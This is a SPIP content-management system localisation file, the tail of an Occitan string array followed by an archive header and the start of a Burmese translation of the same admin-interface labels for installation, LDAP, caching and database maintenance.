'info_statut_utilisateurs_2' => 'Chausissètz l’estatut d’atribuir ai personas presenti dins l’annuari LDAP quora si connèctan per lo primier còup. Porretz pi modificar aquel estatut per cada autor un cas per un.',
'info_suivi_activite' => 'Segut de l’activitat editoriala',
'info_surtitre' => 'Sobretítol:',
'info_taille_maximale_vignette' => 'Talha maximala dei vinhetas congreadi per lo sistèma:',
'info_terminer_installation' => 'Aüra podètz acabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt es lòng: apareisse doncas en tròç distints que si tornaràn empegar un còup validats.)',
'info_texte_message' => 'Tèxt dau vòstre messatge:', # MODIF
'info_texte_message_02' => 'Tèxt dau messatge',
'info_titre' => 'Títol:',
'info_total' => 'totau: ',
'info_tous_articles_en_redaction' => 'Toi lu articles en cors de redaccion',
'info_tous_articles_presents' => 'Toi lu articles publicats dins aquela rubrica',
'info_tous_les' => 'toi lu:',
'info_tous_redacteurs' => 'Anoncis a toi lu redactors ',
'info_tout_site' => 'Tot lo sit',
'info_tout_site2' => 'Non an revirat l’article dins aquela lenga.',
'info_tout_site3' => 'An revirat l’article dins aquela lenga, mas an portat pi de modificacions a l’article de referéncia. Cau actualizar la revirada.',
'info_tout_site4' => 'An revirat l’article dins aquela lenga, e la revirada es actualizada.',
'info_tout_site5' => 'Article originau.',
'info_tout_site6' => '<b>Atencion:</b> basta lu articles originaus s’afichan.
Li reviradas s’assòcian a l’originau,
un color indica lo sieu estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu sobre lu articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DAU SIT:', # MODIF
'info_urlref' => 'Ligam ipertèxt:',
'info_utilisation_spip' => 'Aüra podètz començar d’utilizar lo sistèma de publicacion assistida...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'dau sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires dau sit public',
'install_echec_annonce' => 'L’installacion capitarà mau, ò abotirà a un sit non foncionau...',
'install_extension_mbstring' => 'SPIP non fonciona emb:',
'install_extension_php_obligatoire' => 'SPIP exigisse l’extension php:',
'install_select_langue' => 'Seleccionatz una lenga pi clicatz lo boton «seguent» per amodar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar li inscripcions',
'item_activer_messages_avertissement' => 'Activar lu messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dins lo calendier',
'item_autoriser_documents_joints' => 'Autorizar que si jonga de documents ai articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar lu documents dins li rubricas',
'item_choix_administrateurs' => 'lu administrators',
'item_choix_generation_miniature' => 'Congrear automaticament li miniaturas dei imatges.',
'item_choix_non_generation_miniature' => 'Congrear minga de miniaturas dei imatges.',
'item_choix_redacteurs' => 'lu redactors',
'item_choix_visiteurs' => 'lu vesitaires dau sit public',
'item_creer_fichiers_authent' => 'Crear de fichiers .htpasswd',
'item_limiter_recherche' => 'Limitar la cèrca ai informacions contengudi dins lo vòstre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'ai articles',
'item_mots_cles_association_rubriques' => 'ai rubricas',
'item_mots_cles_association_sites' => 'ai sits referenciats ò sindicats',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Non acceptar li inscripcions',
'item_non_activer_messages_avertissement' => 'Minga de messatge d’avertiment',
'item_non_afficher_calendrier' => 'De non afichar dins lo calendier',
'item_non_autoriser_documents_joints' => 'Non autorizar lu documents dins lu articles',
'item_non_autoriser_documents_joints_rubriques' => 'Non autorizar lu documents dins li rubricas',
'item_non_creer_fichiers_authent' => 'Non crear aquelu fichiers',
'item_non_gerer_statistiques' => 'Non gerir li estadisticas',
'item_non_limiter_recherche' => 'Alargar la cèrca au contengut dei sits referenciats',
'item_non_publier_articles' => 'Non publicar lu articles avans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'Non utilizar lo motor',
'item_nouvel_auteur' => 'Autor nòu',
'item_nouvelle_rubrique' => 'Rubrica nòva',
'item_oui' => 'Aí',
'item_publier_articles' => 'Publicar lu articles, quina que sia la sieu data de publicacion',
'item_reponse_article' => 'Respòsta a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cercador',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Apondre aqueu destinatari',
'lien_ajouter_auteur' => 'Apondre aquel autor',
'lien_ajouter_participant' => 'Apondre un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DAU SIT:',
'lien_retirer_auteur' => 'Levar l’autor',
'lien_retrait_particpant' => 'Levar aqueu participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquela rubrica',
'lien_tout_deplier' => 'Desplegar tot',
'lien_tout_replier' => 'Tornar plegar',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUEU SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DEI RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PER LO SUBREVÒL', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chausida de la vòstra basa',
'module_fichier_langue' => 'Fichier de lenga',
'module_raccourci' => 'Acorcha',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Podètz inserir li acorchas seguenti dins li esqueletas dau vòstre sit public. Si reviraràn automaticament dins li diferenti lengas per li quali existisse un fichier de lenga.',
'module_texte_traduction' => 'Lo fichier de lenga «@module@» es disponible en:',
'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'd’aquesta passa',
// S
'statut_admin_restreint' => '(admin. restrench)', # MODIF
// T
'taille_cache_image' => 'Lu imatges qu’SPIP a calculat automaticament (vinhetas dei documents, títols presentats en forma grafica, foncions matematiqui en format TeX...) ocupan dins lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Aqueu sit prevé minga de limitacion de talha dau repertòri <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP assaia de limitar la talha dau repertòri <code>CACHE/</code> d’aqueu sit a <b>@octets@</b> de donadas aperaquí.',
'taille_cache_octets' => 'Aüra la talha de l’escondedor compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’escondedor es vuei.',
'taille_repertoire_cache' => 'Talha dau repertòri escondedor',
'text_article_propose_publication' => 'Article prepauat per la publicacion. Non esitetz de donar lo vòstre vejaire gaug au forum estacat a aquel article (en bas de pàgina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'D’unu servidors LDAP accèptan minga d’accès anonim. En aqueu cas, cau especificar un identificant d’accès iniciau per poder pi cercar d’informacions dins l’annuari. Totun, lu camps seguents si porràn laissar vueis dins la màger part dei cas.',
'texte_admin_effacer_01' => 'Aquela comanda esfaça <i>tot</i> lo contengut de la basa de donadas,
inclús <i>toi</i> lu accès redactors e administrators. Un còup que l’auretz executada, auretz de tornar lançar l’installacion d’SPIP per tornar crear una basa novèla e finda un primier accès administrator.',
'texte_adresse_annuaire_1' => '(Se lo vòstre annuari es installat sus la meteissa maquina qu’aqueu sit web, s’agisse probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat apondut a l’article:',
'texte_annuaire_ldap_1' => 'S’accedissètz a un annuari (LDAP), lo podètz utilizar per importar automaticament d’utilizaires sota SPIP.',
'texte_article_statut' => 'Aquel article es:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referenciat dins lo vòstre sit SPIP, mas redirigit vèrs una autra URL. Per suprimir la redireccion, esfaçatz l’URL çai sobre.',
'texte_aucun_resultat_auteur' => 'Minga de resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aquest sit vos pòu indicar de contunha la tiera dei redactors connectats, cen que vos permete d’escambiar de messatges en dirècte. Podètz decidir de non aparéisser dins aquela lista (siatz "invisible/a" per lu autres utilizaires).',
'texte_auteur_messagerie_1' => 'Aqueu sit permete d’escambiar de messatges e de constituir de forums de discussion privats entre lu participants dau sit. Podètz decidir de non participar a aquelu escambis.',
'texte_auteurs' => 'LU AUTORS',
'texte_choix_base_1' => 'Chausissètz la vòstra basa:',
'texte_choix_base_2' => 'Lo servidor SQL conten mai d’una basa de donadas.',
'texte_choix_base_3' => '<b>Chausissètz</b> çai sota aquela que lo vòstre aubergador v’a atribuida:',
'texte_commande_vider_tables_indexation' => 'Utilizatz aquela comanda per vuar li taulas d’indexacion utilizadi per lo cercador integrat a SPIP. Aquò permetrà
de ganhar d’espaci disc.',
'texte_compresse_ou_non' => '(Aquest si pòu comprimir ò non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz li informacions que lo vòstre aubergador fornisse: i devètz trobar, se lo vòstre aubergador supòrta SQL, lu còdes de connexion au servidor SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en quaucu mots.)',
'texte_contenu_articles' => 'Segon la maqueta que lo vòstre sit a adoptada, podètz decidir
que certans elements dei articles non s’utilizen.
Utilizatz la tiera çai sota per indicar quins elements son disponibles.',
'texte_crash_base' => 'Se la vòstra basa de donadas s’es
encalada, podètz assaiar una reparacion
automatica.',
'texte_creer_rubrique' => 'Avans de poder escriure d’articles,<br /> devètz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'DATA DE PUBLICACION ANTERIORA:',
'texte_date_publication_anterieure_nonaffichee' => 'Afichar minga de data de publicacion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA:',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Esfaçar la basa de donadas SPIP',
'texte_effacer_donnees_indexation' => 'Esfaçar li donadas d’indexacion',
'texte_en_cours_validation' => 'Si prepaua de publicar lu articles e brèvas çai sota. Non esitetz de donar lo vòstre vejaire gaug ai forums que i son estacats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Podètz enriquir la compaginacion dau vòstre tèxt en utilizant d’"acorchas tipografiqui".',
'texte_fichier_authent' => '<b>Deu crear, SPIP, de fichiers especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@?</b><p>
Aquelu fichiers vos pòdon servir per restrénher l’accès ai autors
e administrators en d’autres luecs dins lo vòstre sit
(programa extèrne d’estadisticas, per exemple).<p>
Se non vos sèrve, podètz laissar aquesta opcion
au sieu valor predefinit (minga de creacion
dei fichiers).</p>', # MODIF
'texte_informations_personnelles_1' => 'Aüra lo sistèma vos crearà un accès personalizat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agisse d’una reïnstallacion, e se lo vòstre accès fonciona encara, podètz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'Aquesta opcion es utila se lo vòstre sit deu afichar d’alfabets
diferents de l’alfabet latin (ò "occidentau") e lu sieus derivats.
En aqueu cas, cau cambiar lo reglatge predefinit per fin d’utilizar
un juec de caractèrs apropriat. Non oblidetz nimai d’adaptar
lo sit public en consequéncia (balisa <tt>#CHARSET</tt>).', # MODIF
'texte_jeu_caractere_2' => 'Aquest reglatge a minga d’efiech retroactiu. Doncas
lu tèxts ja sasits si pòdon afichar
d’un biais incorrècte après que s’auga modificat lo reglatge. De tot biais
porretz tornar sensa damatge au reglatge precedent.', # MODIF
'texte_lien_hypertexte' => '(Se lo vòstre messatge si referisse a un article publicat sus lo web, ò a una pàgina fornissent mai d’informacions, vorgatz indicar çai sota lo títol de la pàgina e la sieu adreiça URL.)',
'texte_login_ldap_1' => '(Laissar vuei per un accès anonim, ò picar lo camin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Aquò es lo login emb lo quau siatz aüra connectat/ada.
Utilizatz aquest formulari emb precaucion...',
'texte_message_edit' => 'Atencion: aquest messatge, cada redactor lo pòu veire, e cada administrator dau sit lo pòu modificar. Utilizatz lu anoncis basta per expausar d’eveniments importants de la vida dau sit.',
'texte_mise_a_niveau_base_1' => 'Venètz d’actualizar lu fichiers SPIP.
Aüra cau metre a nivèu la basa de donadas
dau sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cercador es activat.</b> Utilizatz aquesta commanda
se volètz tornar indexar la basa rapidament (après restauracion
d’una sauvagarda per exemple). Notatz que lu documents modificats d’un
biais normau (a partir de l’interfàcia SPIP) si tornan indexar
automaticament: doncas aquesta comanda es utila basta d’un biais excepcionau.',
'texte_moteur_recherche_non_active' => 'Lo cercador non es activat.',
'texte_multilinguisme' => 'Se desiratz de gerir d’articles en plusors lengas, emb una navigacion complèxa, podètz apondre un menut per chausir la lenga dei articles e/ò dei rubricas, en foncion de l’organizacion dau vòstre sit.', # MODIF
'texte_multilinguisme_trad' => 'Podètz finda activar un sistèma de gestion dei ligams entre li diferenti reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (perque lo vòstre servidor non supòrta aquela foncionalitat)',
'texte_nouveau_message' => 'Messatge nòu',
'texte_nouvelle_version_spip_1' => 'Avètz installada una version novèla d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version novèla demanda una actualizacion mai completa que de costuma. Se siatz webmèstre/webmèstra dau sit, vorgatz esfaçar lo fichier <tt>inc_connect.php3</tt> dau repertòri <tt>ecrire</tt> e tornar pilhar l’installacion per fin d’actualizar lu vòstres paramètres de connexion a la basa de donadas.<p> (NB: s’avètz demembrat lu vòstres paramètres de connexion, espepissatz lo fichier <tt>inc_connect.php3</tt> avans de lo suprimir...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz a la pàgina precedenta, chausissètz una autra basa ò creatz-ne’n una novèla. Verificatz li informacions que lo vòstre aubergador a fornidi.',
'texte_plus_trois_car' => 'mai de 3 caractèrs',
'texte_plusieurs_articles' => 'Mai d’un autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(Lo valor indicat coma predefinit conven en generau.)',
'texte_proposer_publication' => 'Quora auretz acabat lo vòstre article,<br /> porretz prepauar que sia publicat.',
'texte_proxy' => 'Dins d’unu cas (intranet, rets protegidas...),
si pòu que cauga utilizar un <i>proxy HTTP</i> per aténher lu sits sindicats.
En aqueu cas, marcatz çai sota la sieu adreiça, sota la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
laissaretz vueia aquela casa.',
'texte_publication_articles_post_dates' => 'Coma SPIP si deu comportar fàcia ai articles que la sieu
data de publicacion es fixada a una
escasença futura?',
'texte_rappel_selection_champs' => '[Non oblidetz de seleccionar aqueu camp correctament.]',
'texte_recalcul_page' => 'Se volètz
tornar calcular basta una pàgina, passatz pusprèst per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Aquesta pàgina recapitula la tiera dei documents qu’avètz plaçats dins li rubricas. Per modificar li informacions de cada document, seguètz lo ligam vèrs la pàgina de la sieu rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donadas',
'texte_reference_mais_redirige' => 'article referenciat dins lo vòstre sit SPIP, mas redirigit vèrs una autra URL.',
'texte_requetes_echouent' => '<b>Quora d’uni requistas SQL s’encalan
sistematicament e sensa rason aparenta, si pòu
qu’aquò venga ben de la basa de donadas. </b><p>
SQL ten la facultat de reparar li sieus
taulas quora un accident li
a esquintadas. Aicí podètz assaiar aquela reparacion; se
non capita, servatz una còpia de l’afichatge, que conten
benlèu d’indicis de cen que non va...</p><p>
Se lo problèma persistisse, contactatz lo vòstre
aubergador.</p>', # MODIF
'texte_selection_langue_principale' => 'Podètz seleccionar çai sota la "lenga principala" dau sit. Aquela chausida non v’obliga -grand gaug- d’escriure lu vòstres articles dins la lenga seleccionada, mas permete de determinar:
<ul><li> lo format predefinit dei datas sus lo sit public;</li>
<li> la natura dau motor tipografic qu’SPIP deu utilizar per lo rendut dei tèxts;</li>
<li> la lenga utilizada dins lu formularis dau sit public;</li>
<li> la lenga presentada coma predefinida dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuri: diménegue / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espèra de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Utilizatz aquela comanda per suprimir toi lu fichiers que si tròban
dins l’escondedor SPIP. Aquò permete per exemple de forçar un calcul nòu de toti li pàginas
s’avètz bravament modificat lo grafisme ò l’estructura dau sit.',
'texte_sur_titre' => 'Sobretítol',
'texte_table_ok' => ': aquesta taula es condrecha.',
'texte_tables_indexation_vides' => 'Li taulas d’indexacion dau motor son vueii.',
'texte_tentative_recuperation' => 'Assai de reparacion',
'texte_tenter_reparation' => 'Assaiar de reparar la basa de donadas',
'texte_test_proxy' => 'Per assaiar aqueu proxy, indicatz aicí l’adreiça d’un sit web
que lo vorriatz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus aquel article fa @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quora es frequent que mai d’un redactor
trabalhe sus lo meteis article, lo sistèma
pòu afichar lu articles recentament "dubèrts"
per fin d’evitar li modificacions simultanèï.
Aquela opcion es desactivada de maniera predefinida
per fin d’evitar d’afichar de messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròup de resultats per "@cherche_auteur@" ; vorgatz afinar la cèrca.',
'texte_unpack' => 'telecargament de la darriera version',
'texte_utilisation_moteur_syndiques' => 'Quora utilizatz lo cercador integrat
a SPIP, podètz far li cèrcas sobre lu sits e
articles sindicats de doi biais
diferents. <br /><img src=\'puce.gif\' /> Lo mai
simple consistisse a cercar basta dins lu
títols e descriptius dei articles. <br /><img src=\'puce.gif\' />
Lo segond biais, ben mai potent, permete
a SPIP de cercar finda dins lo tèxt dei
sits referenciats.
Se referenciatz un sit, alora SPIP farà la
cèrca dins lo tèxt dau sit meteis.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aqueu metòde obliga SPIP de vesitar
regularament lu sits referenciats,
aquò pòu alentir un chico lo vòstre
sit.',
'texte_vide' => 'vuei',
'texte_vider_cache' => 'Vuar l’escondedor',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar lu articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat dei reviradas per aquela lenga',
'titre_cadre_ajouter_auteur' => 'APONDRE UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Dintre la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NÚMERO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion dau sit',
'titre_configuration' => 'Configuracion dau sit',
'titre_connexion_ldap' => 'Opcions: <b>La vòstra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LU ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar per lo sit...',
'titre_nouvelle_rubrique' => 'Rubrica novèla',
'titre_numero_rubrique' => 'RUBRICA NÚMERO:',
'titre_page_admin_effacer' => 'Mantenença tecnica: esfaçar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Lu articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Calendier @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion dau sit',
'titre_page_config_fonctions' => 'Configuracion dau sit',
'titre_page_configuration' => 'Configuracion dau sit',
'titre_page_controle_petition' => 'Segut dei peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Lu documents dei rubricas',
'titre_page_index' => 'Lo vòstre espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'La vòstra messatjaria',
'titre_page_recherche' => 'Resultats de la cèrca @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (ligams intrants)',
'titre_page_upgrade' => 'Mesa a nivèu d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion dei articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDÈTZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Segut dei peticions',
'trad_article_inexistant' => 'I a minga d’article que pòrte aqueu número.',
'trad_article_traduction' => 'Toti li versions d’aquel article:',
'trad_deja_traduit' => 'Aquel article ja es una revirada de l’article present.',
'trad_delier' => 'Cessar de ligar aquest article ai sieus reviradas ', # MODIF
'trad_lier' => 'Aquest article es una revirada de l’article número:',
'trad_new' => 'Escriure una revirada novèla d’aquest article' # MODIF
);
?>
ecrire_my.php 0000666 00000327765 15252547432 0007274 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'ထပ်ထည့်သည့် pluginကို အတည်ပြုရန်',
'aide_non_disponible' => 'ယခုသုံးသော ဘာသာဖြင့်ရှာဖွေ၍မရသေးပါ',
'auteur' => 'ရေးသားသူ',
'avis_acces_interdit' => 'ဝင်ရောက်သုံးစွဲခွင့်တားမြစ်ထားသည်',
'avis_article_modifie' => 'သတိပေးချက်၊ လွန်ခဲ့သော မိနစ် @date_diff@ တွင် @nom_auteur_modif@ သည် ဆေင်းပါးတွင် အလုပ်လုပ်ခဲ့ပြီးဖြစ်သည်',
'avis_aucun_resultat' => 'မတွေ့ရှိပါ',
'avis_chemin_invalide_1' => 'သင်ရွေးချယ်ခဲ့သည့် အခန်းကဏ္ဍ',
'avis_chemin_invalide_2' => 'ရနိုင်မည့်ပုံမပေါ်ပါ။ အရင်စာမျက်နှာသို့ ပြန်သွားပြီး အချက်လက်များကို ပြန်စစ်ဆေးပါ',
'avis_connexion_echec_1' => ' MySQL ဆာဗာသို့ ဆက်သွယ်မှု မအောင်မြင်ပါ', # MODIF
'avis_connexion_echec_2' => 'အရင်စာမျက်နှာသို့ ပြန်သွားပြီး အချက်လက်များကို ပြန်စစ်ဆေးပါ',
'avis_connexion_echec_3' => '<b>N.B.</b> MySQL အချက်လက် သိုလှောင်မှုကို ဆာဗာအမှတ်စဉ်တွင် အသုံးမပြုမီ အသက်သွင်းရန် <b>လိုအပ်ပါသည်</b> အကယ်၍ ဆက်သွယ်၍မရပါက သင်အမှန်တကယ် လိုအပ်မှုကို သေချာအောင်လုပ်ပါ', # MODIF
'avis_connexion_ldap_echec_1' => 'LDAP ဆာဗာသို့ ဆက်သွယ်၍မရပါ',
'avis_connexion_ldap_echec_2' => 'အရင်စာမျက်နှာသို့ ပြန်သွားပြီး အချက်လက်များကို ပြန်စစ်ဆေးပါ',
'avis_connexion_ldap_echec_3' => 'သုံးစွဲသူအသစ်များ ထည့်သွင်းရန် LDAP ကို တခြားနည်းဖြင့် အသုံးမပြုပါနှင့်',
'avis_deplacement_rubrique' => 'သတိပေးချက်။ သည်အပိုင်းတွင် @contient_breves@ သတင်းစကား @scb@ ပါဝင်ပါသည်။ ၄င်းကို ဖယ်ရှားလိုပါက သည်လုပ်ဆောင်ချက်ကို ပြန်လည်အတည်ပြုပါ',
'avis_destinataire_obligatoire' => 'သည်စာကိုမပို့ခင် လက်ခံမည့်သူကို အရင်ရွေးချယ်ပါ',
'avis_erreur_connexion_mysql' => 'MySQL ချိတ်ဆက်မှု အခက်ခဲဖြစ်သည်',
'avis_erreur_version_archive' => '<b>သတိပေးချက်။ ဖိုင်@archive@ သည် သင်ထည့်သွင်းထားသောမူကွဲထက် SPIP မူကွဲကိုပိုလက်ခံသည် </b> သင့်ဝက်ဘ်ဆိုက်တွင် အမှားများစွာနှင့် သင့်အချက်လက် သိုလှောင်မှု ပျက်စီးခြင်းစသည့် အန္တရာယ်ရှိသောကြောင့် တောင်းဆိုမှုကို အတည်မပြုပါနှင့်<p>SPIP စာရွက်စာတမ်းနှင့် ပတ်သက်ပြီး ပိုမိုသိရှိလိုပါက <a href="@spipnet@"> သို့သွားပါ</a>', # MODIF
'avis_espace_interdit' => '<b>တားမြစ်နယ်မြေ</b><div>SPIP ကို ထည့်သွင်းပြီးဖြစ်သည်</div>',
'avis_lecture_noms_bases_1' => 'အချက်များကို ထည့်သွင်းသည့်ကိရိယာသည် ထည့်သွင်းနေသော အချက်လက်သိုလှေင်မှုများကို မဖတ်နိုင်ပါ',
'avis_lecture_noms_bases_2' => 'အချက်လက်လည်းမရနိုင်ပါ (သို့) ခွင့်ပြုထားသော အချက်လက် စာရင်းလည်း လုံခြုံရေးကြောင့် မရနိုင်ပါ (ပင်မဆာဗာ တောင်းဆိုမှု များလွန်းသည်)',
'avis_lecture_noms_bases_3' => 'ဤနေရာတွင် ဒုတိယရွေးချယ်မှုသည် မှန်ကန်ပါသည်။ သင့်ချိတ်ဆက် ဝင်ရောက်လို့ရပြီးနောက် အချက်လက်သိုလှောင်မှုကို အမည်ပေးထားနိုင်ပါသည်',
'avis_non_acces_message' => 'ဤစာစောင်ကို အသုံးပြုခွင့်မရှိပါ',
'avis_non_acces_page' => 'ဤစာမျက်နှာကို အသုံးပြုခွင့်မရှိပါ',
'avis_operation_echec' => 'လုပ်ဆောင်မှု မအောင်မြင်ပါ',
'avis_operation_impossible' => 'လုပ်ဆောင်ရန် မဖြစ်နိုင်ပါ',
'avis_probleme_archive' => 'ဖိုင် @archive@ကို ဖတ်ရန်အခက်ခဲဖြစ်သည်',
'avis_suppression_base' => 'သတိပေးချက်၊ ဒေသာ ဖျက်သိမ်းမှုကို ပြန်ဖော်၍ရမည် မဟုတ်ပါ',
'avis_version_mysql' => 'MySQL မူကွဲ(@version_mysql@)သည် အလိုအလျှောက်ပြင်ဆင်ခြင်း မပြုနိုင်ပါ',
// B
'bouton_acces_ldap' => 'LDAP ကိုဆက်သွယ်ရန် လုပ်ပါ >>',
'bouton_ajouter' => 'ထပ်ထည့်ပါ',
'bouton_ajouter_participant' => 'ပါဝင်သူထပ်ထည့်ပါ',
'bouton_annonce' => 'ကြေငြာချက်',
'bouton_annuler' => 'ပယ်သည်',
'bouton_checkbox_envoi_message' => 'စာပို့ရန်ဖြစ်နိုင်ခြေ',
'bouton_checkbox_indiquer_site' => 'ဝက်ဘ်ဆိုက်နာမည်ထည့်ပါ',
'bouton_checkbox_signature_unique_email' => 'အီးမေးလ်လိပ်စာတခုတွင် အမှတ်သားတခုသာ',
'bouton_checkbox_signature_unique_site' => 'ဝက်ဘ်ဆိုက်တခုတွင် အမှတ်သားတခုသာ',
'bouton_demande_publication' => 'ဤဆောင်းပါး ထုတ်ဝေသည့်ရက်စွဲ လိုအပ်သည်',
'bouton_desactive_tout' => 'အားလုံးမဖြစ်နိုင်ပါ',
'bouton_effacer_index' => 'စာညွှန်းကို ဖျက်ပစ်ပါ',
'bouton_effacer_tout' => 'အားလုံးကိုဖျက်ပစ်ပါ',
'bouton_envoi_message_02' => 'စာပို့ပါ',
'bouton_envoyer_message' => 'နောက်ဆုံးစာကို ပို့ပါ',
'bouton_modifier' => 'ပြန်လည်ပြုပြင်မွမ်းမံသည်',
'bouton_pense_bete' => 'ကိုယ်ပိုင်မှတ်တမ်း',
'bouton_radio_activer_messagerie' => 'အတွင်းစာစောင် ပေးပို့နိုင်သည်',
'bouton_radio_activer_messagerie_interne' => 'အတွင်းစာစောင် ပေးပို့နိုင်သည',
'bouton_radio_activer_petition' => 'တောင်းဆိုမှုကို အသက်ဝင်စေသည်',
'bouton_radio_afficher' => 'ပြပါ',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'ဆက်သွယ်သော စာတည်းများကို ပြပါ',
'bouton_radio_desactiver_messagerie' => 'စာစောင်ပို့ဆောင်ခြင်း ပိတ်ထားသည်',
'bouton_radio_envoi_annonces_adresse' => 'ကြေငြာချက်များကို ဤလိပ်စာများသို့ ပေးပို့ရန်',
'bouton_radio_envoi_liste_nouveautes' => 'နောက်ဆုံးရသတင်း စာရင်းကို ပေးပို့ရန်',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'အချိတ်အဆက်ရှိထားသော စာတည်းများစာရင်းတွင် မပေါ်စေလိုပါ',
